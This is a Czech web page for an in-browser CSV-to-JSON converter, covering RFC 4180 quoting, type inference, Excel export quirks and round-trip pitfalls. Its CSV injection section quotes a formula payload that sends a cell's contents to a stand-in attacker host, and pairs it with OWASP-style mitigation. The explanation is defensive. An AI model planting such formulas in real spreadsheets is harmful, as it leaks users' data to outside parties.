Převaděč CSV do JSON

Náš převaděč z CSV do JSON zpracuje jakékoli CSV kompatibilní s RFC 4180 (čárky nebo jiné oddělovače, pole v uvozovkách, uvozené uvozovky, buňky na více řádků) a vytvoří čisté pole JSON. První řádek se ve výchozím nastavení stane klíči objektu (lze upravit). Číselné a booleovské hodnoty mají automaticky přiřazený typ (čísla zůstávají čísly, true/false se stávají booleovskými hodnotami, prázdné buňky se stávají null) — vypněte tuto možnost, pokud chcete zachovat vše jako řetězce, jestliže je váš následný systém přísný. Ověřování označuje nesprávně zarovnané řádky, neuzavřené uvozovky a problémy s kódováním s čísly řádků. Vše funguje ve vašem prohlížeči, takže exporty zákazníků, mzdové CSV a další citlivá tabulková data nikdy neopustí vaše zařízení. Použijte to pro importy datových sad JavaScriptu, těla požadavků REST API, soubory pro inicializaci MongoDB nebo jakýkoliv nástroj, který preferuje JSON před CSV.

star 4.9
auto_awesome AI
New

CSV do JSON calculator

info Paste CSV to convert to JSON
0 rows 0 cols 0 B

lightbulb Tips

  • •RFC 4180: quote fields containing , " or newline
  • •Escape embedded quotes by doubling: "" represents one "
  • •First row = headers (object keys) by default
  • •Type inference: 42 → number, true/false → bool, empty → null
  • •Quote ZIP codes ("01234") to keep them as strings

Jak převést CSV do JSON ve 3 krocích: Vložit, Analyzovat, Zkopírovat

content_paste

Vložit CSV

Vložte libovolné CSV — export z Excelu, výpis z databáze nebo odpověď API. Analyzátor automaticky zpracuje uvozovky podle RFC 4180, ukončení řádků CRLF/LF a UTF-8 BOM.

tune

Konfigurovat

Zvolte oddělovač (čárka, středník, tabulátor, svislítko), přepněte režim hlavičky a vyberte zapnutí/vypnutí odvození typů. Výchozí hodnoty fungují pro většinu exportů z Excelu a Google Sheets.

swap_horiz

Převést

JSON se okamžitě zobrazí se správně typovanými hodnotami, klíči hlavičky a zvoleným odsazením. Vyberte výstup s odsazením na 2 mezery, 4 mezery nebo minifikovaný.

content_copy

Kopírovat nebo stáhnout

Klikněte na Kopírovat do schránky nebo Stáhnout pro uložení jako soubor `.json` připravený pro těla požadavků API, datové sady v JavaScriptu nebo naplnění databází.

The Formula

Konverze z CSV do JSON zpracovává CSV podle normy RFC 4180: pole jsou oddělena oddělovačem, pole v uvozovkách mohou obsahovat oddělovače a nové řádky a `""` uvnitř pole v uvozovkách představuje uvozenou uvozovku. První řádek se považuje za záhlaví a stává se klíči objektu JSON; následující řádky se stávají objekty. Volitelné odvození typů převede zjevné číselné a booleovské řetězce na nativní typy JSON. Výsledkem je pole JSON připravené k použití v jakémkoli jazyce, který disponuje parserem JSON.

parse CSV(input, delimiter, quote) → [{header: value, ...}, ...]

lightbulb Variables Explained

  • input Surový text CSV (RFC 4180 – odděleno čárkami, řetězce v uvozovkách, ukončení řádků CRLF nebo LF)
  • parse CSV() Rozděluje podle oddělovače s ohledem na pole v uvozovkách, rozbaluje uvozené uvozovky ("" → "), zachovává hodnoty buněk
  • delimiter Oddělovač polí – čárka (výchozí), tabulátor, středník nebo svislá čára
  • header row První řádek se stane klíči JSON objektu (lze přepnout; vypnuto → vytvoří pole polí)
  • type inference Číselné řetězce → čísla, true/false → booleovské hodnoty, prázdné → null (přepínatelné)

tips_and_updates Pro Tips

1

Uzavřete do uvozovek každé pole obsahující čárku, dvojité uvozovky nebo nový řádek — RFC 4180 vyžaduje dvojité uvozovky kolem takových buněk

2

Uvoďte dvojité uvozovky uvnitř polí v uvozovkách jejich zdvojením: `"Řekl ""ahoj"""` představuje hodnotu `Řekl "ahoj"`

3

První řádek je ve výchozím nastavení považován za záhlaví — vypněte, pokud vaše CSV nemá žádné záhlaví (výstupem se stane pole polí)

4

Odvození typu zachytí `123`, `4.5`, `true`, `false` a prázdné buňky (→ null). Vypněte, pokud váš následný systém vyžaduje pouze řetězce

5

Prázdné buňky ve zdroji se ve výchozím nastavení v JSON stanou `null` — změňte na prázdný řetězec, pokud to váš spotřebitel preferuje

6

Excelovské exporty CSV často používají konce řádků Windows CRLF — analyzátor zvládá jak CRLF, tak LF

7

Dejte si pozor na BOM (značku pořadí bajtů) na začátku souborů UTF-8 CSV exportovaných z Excelu — analyzátor ji automaticky odstraní

8

Pro velmi velké soubory CSV (50 MB+) upřednostněte nástroje pro streamování, jako je `csvkit`, `jq` nebo `Papa Parse` s rozdělením na bloky, namísto konverze v prohlížeči

9

Číselné řetězce v uvozovkách (`"01234"` pro PSČ) zůstávají ve výstupu jako řetězce — odvození typu podporuje pouze hodnoty bez uvozovek

10

Pozor na injekci CSV: nikdy nevkládejte CSV z nedůvěryhodných zdrojů přímo do Excelu nebo Google Tabulek bez sanitizace počátečních znaků `=`, `+`, `-`, `@` (OWASP)

Převeďte libovolný soubor CSV okamžitě na JSON — vložte, zpracujte, zkopírujte. Převodník zvládá uvozovky podle RFC 4180 (escapované uvozovky pomocí `""`), buňky na více řádcích, ukončení řádků CRLF/LF, odstranění UTF-8 BOM a čtyři možnosti oddělovačů (čárka, středník, tabulátor, svislá čára). Odvození typů automaticky povyšuje čísla a booleovské hodnoty; pro výstup složený pouze z řetězců tuto funkci vypněte. Vše běží přímo v prohlížeči, takže exporty zákazníků, mzdová CSV a další citlivá tabulková data vaše zařízení nikdy neopustí. Níže najdete: jak parser funguje pod kapotou, rozdíly mezi CSV a JSON pro vývojáře, vzorce převodu pro Excel/Google Tabulky, pravidla odvozování typů, hraniční případy dle RFC 4180, zabezpečení proti CSV injekcím a tahák pro bezpečný obousměrný převod.

Online převodník CSV na JSON: Převeďte libovolnou tabulku okamžitě na JSON

Vložte platné CSV — export z Excelu, stažený soubor z Google Tabulek, výpis z databáze nebo odpověď API — a převodník v reálném čase vytvoří čisté pole JSON. První řádek je ve výchozím nastavení považován za záhlaví a stává se klíči objektu JSON; následující řádky se stávají objekty v poli JSON.

Odvození typů povyšuje:

  • zjevné číselné řetězce na čísla (42 zůstává celým číslem, 3.14 zůstává desetinným číslem)
  • booleovské řetězce na booleovské hodnoty (true/false bez ohledu na velikost písmen)
  • prázdné buňky na hodnotu null

Pokud je váš následný systém na typy přísný, můžete toto chování vypnout.

Převod probíhá zcela ve vašem prohlížeči pomocí vlastního parseru podle RFC 4180 a nativní funkce JSON.stringify (podle ECMA-404). Výstup je připraven k vložení do souboru `.json`, odeslání do REST API nebo použití jako datová sada v JavaScriptu.

Jak převést CSV na JSON: Pracovní postup ve 3 krocích pro vývojáře

  • Krok 1: Vložte své CSV do editoru. Parser provádí ověření při psaní — neplatné CSV (neuzavřené uvozovky, nesprávný počet sloupců, špatný oddělovač) zobrazí přesnou chybu včetně řádku a sloupce.
  • Krok 2: V případě potřeby parser nakonfigurujte — vyberte oddělovač (výchozí je čárka; pro exporty z evropského Excelu přepněte na středník nebo na tabulátor pro soubory TSV), přepněte režim záhlaví a zvolte odvození typů.
  • Krok 3: Výstup JSON se zobrazí živě v pravém panelu. Klikněte na Kopírovat (schránka) nebo Stáhnout (soubor `.json`).

Pro programové zpracování je stejná logika zpřístupněna prostřednictvím koncového bodu `/api/calculate` — odešlete na něj CSV metodě POST a v těle odpovědi obdržíte JSON. Obousměrná bezpečnost funguje spolehlivě pro plochá tabulková data; vnořená data vyžadují vlastní strategii zploštění.

CSV vs JSON: Klíčové rozdíly ve struktuře, typech a případech použití

CSV (Comma-Separated Values) je plochý tabulkový formát — každý řádek představuje jeden řádek tabulky, pole jsou oddělena oddělovačem. Nemá žádné nativní typy (každá buňka je text), žádné vnořování (pouze jedna úroveň do hloubky, jako databázová tabulka) a minimální metadata (volitelný řádek záhlaví). Je univerzálně čitelné: každý tabulkový procesor, každý import do databáze a každý nástroj příkazového řádku si s CSV poradí.

JSON (JavaScript Object Notation) je hierarchický formát s explicitními typy (řetězec, číslo, booleovská hodnota, null), vnořenými objekty a poli a s popisnými klíči pro každý záznam. JSON je lingua franca pro REST/GraphQL API, NoSQL databáze a konfigurační soubory.

Kdy co použít:

  • CSV pro hromadná tabulková data, výměnu tabulek, ingest do ETL a analytické pracovní postupy.
  • JSON pro API, konfigurační soubory, vnořené záznamy a komunikaci mezi stroji.

Mezi formáty převádějte na rozhraní systémů: načtěte CSV → zpracujte jako JSON → exportujte zpět do CSV, pokud to tabulkový procesor na konci řetězce vyžaduje.

Zpracování CSV podle RFC 4180: Pole v uvozovkách, escaped uvozovky a hraniční případy

RFC 4180 (2005) je informační standard IETF pro formát CSV.

Základní pravidla:

  • Záznamy jsou odděleny znaky CRLF (Windows) nebo LF (Unix).
  • Pole jsou oddělena oddělovačem (ve standardu čárka; v praxi se běžně mění).
  • Pole obsahující oddělovač, dvojitou uvozovku nebo nový řádek musí být uzavřena v dvojitých uvozovkách.
  • Uvnitř pole v uvozovkách se doslovná dvojitá uvozovka escapuje zdvojením (`""` představuje jednu uvozovku `"`).
  • Jako první záznam se může objevit volitelný řádek záhlaví.

Zde implementovaný parser toleruje ukončení řádků pouze pomocí LF, oddělovače v podobě středníku, tabulátoru nebo svislé čáry (lze přepnout v nastavení), UTF-8 BOM na začátku souboru (automaticky se odstraní) a koncový nový řádek na konci souboru. Neuzavřená pole v uvozovkách a řádky s nesprávným počtem sloupců odmítne s jasnými chybovými hlášeními.

Odvození typů: Čísla, booleovské hodnoty a zpracování hodnot null při převodu CSV na JSON

Odvození typů povyšuje zjevné neuzavřené hodnoty na typy nativní pro JSON.

  • Čísla: číselné vzory odpovídající syntaxi celých nebo desetinných čísel v JSON se stanou čísly v JSON. `42` → celé číslo 42. `3.14` → desetinné číslo 3.14. `1e6` → 1000000. `01234` je nejednoznačné — přísné parsery čísel odmítají úvodní nuly, takže zůstává řetězcem (což je přesně to, co chcete u poštovních směrovacích čísel).
  • Booleovské hodnoty: `true` a `false` (bez ohledu na velikost písmen) se stanou booleovskými hodnotami v JSON. Poznámka: toto je konvence YAML 1.2 / strict JSON — `yes`/`no`/`on`/`off` zůstávají jako řetězce (řešení tzv. „norského problému“).
  • Null: prázdné buňky (mezi dvěma po sobě jdoucími oddělovači nebo na konci řádku) se stanou hodnotou null v JSON.

Pokud odvození typů vypnete, každá buňka zůstane řetězcem bez ohledu na svůj obsah — to se hodí, když váš navazující systém (např. přísný TypeScript pipeline) očekává jednotné typy.

Převod souborů CSV z Excelu do JSON: Kódování, oddělovače a specifika

Excel je dominantním tvůrcem souborů CSV a jeho exporty mají svá specifika.

  • Kódování: Excel pro Windows často ukládá CSV jako UTF-8 s BOM (parser jej automaticky odstraní) nebo v kódování Windows-1252 (Latin-1) u starších verzí. Excel pro Mac obvykle ukládá čisté kódování UTF-8. Pokud se ne-ASCII znaky zobrazují zkresleně, uložte soubor před vložením v tabulkovém procesoru znovu jako UTF-8.
  • Oddělovače: v evropských prostředích (Německo, Francie atd.) používá Excel středníky, protože čárka slouží jako desetinný oddělovač; podle toho přepněte nastavení oddělovače.
  • Ukončení řádků: Excel ve výchozím nastavení používá CRLF — je plně podporováno.
  • Uvozovky: Excel uzavírá do uvozovek každou buňku obsahující čárku nebo dvojitou uvozovku; vnořené uvozovky jsou escapovány pomocí `""`.
  • Formátování čísel: Excel může exportovat číslo jako `1,234.56` (čárka jako oddělovač tisíců), které bude parser považovat za řetězec, pokud jej nepřejmenujete/neupravíte.
  • Sloupce s datem se exportují jako výchozí řetězec daného prostředí — obvykle vyžadují následné zpracování pro převod do formátu ISO 8601.

Převod CSV na JSON pro REST API a importy do databází

JSON je dominantní formát požadavků a odpovědí pro REST API, koncové body GraphQL a většina moderních webových služeb.

Prevádění CSV na JSON je častým krokem v situacích, kdy:

  • hromadně importujete data prostřednictvím API, které přijímá pole JSON (např. registrace uživatelů, plnění katalogu produktů, koncové body pro hromadné aktualizace);
  • plníte NoSQL databáze (MongoDB, DynamoDB, Cassandra), které nativně přijímají JSON pomocí příkazů jako `mongoimport`, `aws dynamodb batch-write-item` nebo podobných;
  • napájíte ETL potrubí (Airflow, Prefect, dbt), která zpracovávají exporty CSV prostřednictvím transformací založených na JSON;
  • naplňujete testovací data na frontendu pro prototypy komponent v Reactu/Vue/Angular.

Po převodu ověřte výstupní JSON proti svému navazujícímu schématu (JSON Schema, tělo požadavku OpenAPI, vstupní typ GraphQL), abyste odhalili nesoulad typů ještě před nasazením.

Převod CSV na JSON pro JavaScript, Node.js a datové sady na frontendu

JSON je nativní datový formát pro běhová prostředí JavaScriptu (prohlížeč, Node.js, Deno, Bun).

Převeďte CSV na JSON, když potřebujete:

  • vložit statickou datovou sadu do komponenty v Reactu/Vue (`import data from './data.json'`);
  • inicializovat úložiště Redux/Pinia/Zustand počátečním stavem;
  • naplnit knihovnu pro tvorbu grafů (Chart.js, D3, Plotly), která vyžaduje JSON;
  • vytvořit prototyp skriptu v Node.js, který zpracuje záznamy před zápisem do databáze;
  • vytvořit falešný koncový bod v Express/Fastify, který vrací ukázková data.

Výstup JSON z tohoto převodníku je plně kompatibilní se standardem ECMA-404 — `JSON.parse()`, těla požadavků `fetch()` POST a odvození typů v TypeScriptu (`type Row = typeof data[0]`) fungují bez nutnosti úprav.

Pro velmi velké datové sady (10 tisíc a více řádků) zvažte streamování pomocí knihovny Papa Parse namísto jednorázového převodu.

Zabezpečení proti CSV injekcím: Předpony vzorců a sanitizace

CSV injekce (též injekce vzorců) je zranitelnost webových aplikací, ke které dochází, když je soubor CSV obsahující předpony vzorců (`=`, `+`, `-`, `@`) otevřen v Excelu nebo Google Tabulkách a tabulkový procesor tento vzorec automaticky provede.

Útočníci toho mohou využít k:

  • exfiltraci dat (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
  • spuštění libovolných příkazů (starší syntaxe maker v Excelu),
  • nebo k oklamání uživatelů, aby navštívili škodlivé adresy URL.

Tento převodník je pouze pro čtení (CSV → JSON), takže riziko injekce nezavádí. Pokud však vaše aplikace generuje exporty CSV ze vstupů od uživatelů, proveďte sanitizaci.

Standardní mitigace: před zápisem do CSV opatřete každou buňku, která začíná znakem `=`, `+`, `-`, `@`, `\t`, `\r` nebo `0x09`, jednoduchou uvozovkou na začátku (`'=cmd|...`). Organizace OWASP má kompletní tahák k CSV injekcím, který pokrývá všechny varianty.

Běžné chyby při parsování CSV: Neuzavřené uvozovky, nesprávné řádky a kódování

Pět chyb má na svědomí 90 % selhání při parsování CSV.

  • Neuzavřené pole v uvozovkách — pole začíná znakem `"`, ale nikdy nemá odpovídající uzavírací uvozovku `"`. Parser čte dál až do konce souboru a pak ohlásí chybu. Řešení: zajistěte, aby každá otevírací uvozovka měla svůj protějšek.
  • Nesprávný počet sloupců na řádcích — některé řádky mají méně nebo více polí než záhlaví. Příčiny: zatoulané nové řádky uvnitř textu bez uvozovek, chybějící nebo přebývající oddělovače. Řešení: ověřte, že počet sloupců je konzistentní.
  • Špatný oddělovač — váš soubor používá středníky, ale parser je nastaven na čárky. Přepněte nastavení oddělovače.
  • Špatný styl escapování — použití `\"` (ve stylu JSON) namísto `""` (ve stylu RFC 4180) uvnitř polí v uvozovkách. Řešení: proveďte nový export ze zdrojového nástroje se správným použitím uvozovek podle RFC 4180.
  • Neshoda kódování — ne-ASCII znaky se zobrazují zkresleně. Uložte zdrojový soubor znovu jako UTF-8 (většina tabulkových procesorů tuto možnost nabízí v nabídce Uložit jako).

Chybová zpráva v převodníku ukazuje přesný řádek a sloupec.

Bezpečnost obousměrného převodu: CSV → JSON → CSV a hraniční případy

Pět aspektů obousměrného převodu, které by měl znát každý vývojář.

  • Plochá data: čistě plochá tabulková data CSV → JSON → CSV zachovávají hodnoty buněk, typy (s výjimkou povýšení typů, pokud JSON znovu parsujete) a pořadí sloupců.
  • Vnořený JSON: nelze jej převádět obousměrně přes CSV bez zploštění. Zvolte strategii: názvy sloupců s tečkovou notací (`address.city`, `address.zip`), řetězce JSON uvnitř buněk nebo pouze první úroveň.
  • Povýšení typů: číselné a booleovské řetězce jsou při převodu CSV → JSON povýšeny; pokud je exportujete zpět do CSV, jsou vypsány ve své nativní formě. Poštovní směrovací čísla (`01234`) vyžadují ve zdrojovém CSV uvozovky, aby se zachovala.
  • Pořadí záhlaví: převodník zachovává pořadí zdrojových sloupců. Pořadí klíčů objektu JSON je zachováno moderními javascriptovými enginy.
  • Prázdné buňky: v JSON se stávají hodnotou null; pokud provádíte zpětný export, nakonfigurujte svůj generátor CSV tak, aby vypouštěl prázdné řetězce nebo literály `null` jako původní data.

Před spoléháním se na obousměrný převod v produkčních procesech proveďte test s netriviálními daty.

Tahák pro CSV na JSON: Mapování typů, nástroje a osvědčené postupy

Přehled mapování typů:

  • Řádek záhlaví CSV → klíče objektu JSON;
  • Řádek CSV → objekt JSON;
  • Buňka CSV (bez uvozovek, číselná) → číslo v JSON;
  • Buňka CSV (bez uvozovek, true/false) → booleovská hodnota v JSON;
  • Buňka CSV (prázdná) → hodnota null v JSON;
  • Buňka CSV (v uvozovkách nebo nečíselná) → řetězec v JSON.

Porovnání nástrojů: tento převodník (v prohlížeči, okamžitě, bez instalace, přísný dle RFC 4180) vs Papa Parse (knihovna JS, streamování, pracovní vlákna) vs csvkit (CLI v Pythonu, velké soubory, detekce dialektů) vs `jq -R -c -f csv2json.jq` (Unixový shell, programově).

Osvědčené postupy:

  • Nejednoznačná pole (číselná ID, PSČ, řetězce s úvodní nulou) ve zdrojovém CSV vždy uzavírejte do uvozovek.
  • Pro zajištění kompatibility používejte kódování UTF-8 — starší soubory z Excelu uložte znovu jako UTF-8.
  • Ověřte výstupní JSON proti svému navazujícímu schématu (JSON Schema, OpenAPI, typy v TypeScriptu) — chyby typů chyťte na rozhraní, nikoliv v produkci.
  • Udržujte CSV jako zdroj pravdy pro tabulková data a pokud možno generujte JSON znovu v době sestavování nebo importu.
  • Pro soubory větší než 50 MB přejděte na streamovací nástroje (procesor Papa Parse, kanál csvkit) namísto převodu v prohlížeči.
code

Embed this Převaděč CSV do JSON on your site

Free for any site. Copy the snippet below and paste into your HTML — no attribution required beyond the built-in credit link.

<iframe src="https://calculators.im/embed/csv-to-json-converter" width="100%" height="720" style="border:0;max-width:100%;" loading="lazy" title="Převaděč CSV do JSON by Calculators.im"></iframe>
<p style="font-size:12px;text-align:center;color:#64748b;margin-top:6px;">Powered by <a href="https://calculators.im/csv-to-json-converter?utm_source=embed&utm_medium=snippet&utm_campaign=csv-to-json-converter">Převaděč CSV do JSON</a> by Calculators.im</p>
open_in_new Preview embed Auto-resizing iframe. Mobile responsive. Works with WordPress, Ghost, Webflow, and plain HTML.

Frequently Asked Questions

sell

Tags